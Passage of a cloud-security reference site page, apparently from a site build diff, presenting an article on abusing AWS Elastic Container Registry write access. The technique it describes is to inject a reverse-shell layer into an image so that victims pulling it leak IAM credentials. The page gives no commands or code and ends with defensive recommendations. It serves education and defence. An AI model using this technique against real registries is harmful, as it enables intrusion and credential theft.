<a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Roi Lavie</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/abusing-container-registry.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=abusing-elastic-container-registry-for-lateral-movement>Abusing Elastic Container Registry for Lateral Movement<a class=headerlink href=#abusing-elastic-container-registry-for-lateral-movement title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <ul> <li><a href=https://medium.com/ironsource-tech-blog/abusing-elastic-container-registry-ecr-to-own-aws-environments-47534ad61729>Abusing Elastic Container Registry (ECR) to own AWS environments</a> by <a href=https://medium.com/@roi.halawi>Roi Lavie</a> </li> <li><a href=https://medium.com/@mayankshah1607/docker-security-backdooring-images-with-dockerscan-ace5ff65bd39>Docker Security : Backdooring Images with Dockerscan</a> by <a href=https://medium.com/@mayankshah1607>Mayank Shah</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <p>Read and write access to an ECR registry</p> </li> </ul> </div> <p>IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Inbound SG" loading=lazy src=../../../images/aws/exploitation/abusing-container-registry/Abusing-Container-Registry.png></a></p> </figure> <p>This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.</p> <p>Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.</p> <iframe width=420 height=315 src=https://www.youtube.com/embed/xGFh5L0eOzE> </iframe> <p>Video Summary:</p> <ul> <li>An attacker’s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.</li> <li>The attacker gains access to resources using access to ECR</li> <li>The attacker pulls the latest docker image</li> <li>The attacker adds a layer by injecting a malicious payload to the docker image</li> <li>The attacker pushes the docker image to ECR with the latest tag</li> <li>The victim pulls the latest docker image and starts the container</li> <li>The malicious reverse shell is executed and communicates with the attacker</li> <li>The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)</li> </ul> <p>Security Recommendations:</p> <ul> <li>Least privileges — external facing apps should not have write access or wildcard (*) permissions on ECR</li> <li>Secure CI/CD pipelines — Protect from any unauthorized access to source code repos or build tools.</li> <li>Enforce signing of docker images</li> <li>(see: https://github.com/notaryproject/notary)</li> <li>Use docker custom security profiles like AppArmor, Seccomp</li> <li>Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)</li> </ul> <p><strong>Conclusions:</strong> One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">October 12, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/tragulum class=md-author title=@tragulum> <img src="https://avatars.githubusercontent.com/u/90983337?v=4&size=72" alt=tragulum> </a> <a href=https://github.com/roisec class=md-author title=@roisec> <img src="https://avatars.githubusercontent.com/u/68992144?v=4&size=72" alt=roisec> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html b/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html
index f1dea7dde..eb4ad54bb 100644
--- a/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html
+++ b/aws/exploitation/cognito_identity_pool_excessive_privileges/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured Amazon Cognito Identity Pools."><link href=https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ rel=canonical><link href=../abusing-container-registry/ rel=prev><link href=../cognito_user_self_signup/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured Amazon Cognito Identity Pools."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Overpermissioned AWS Cognito Identity Pools 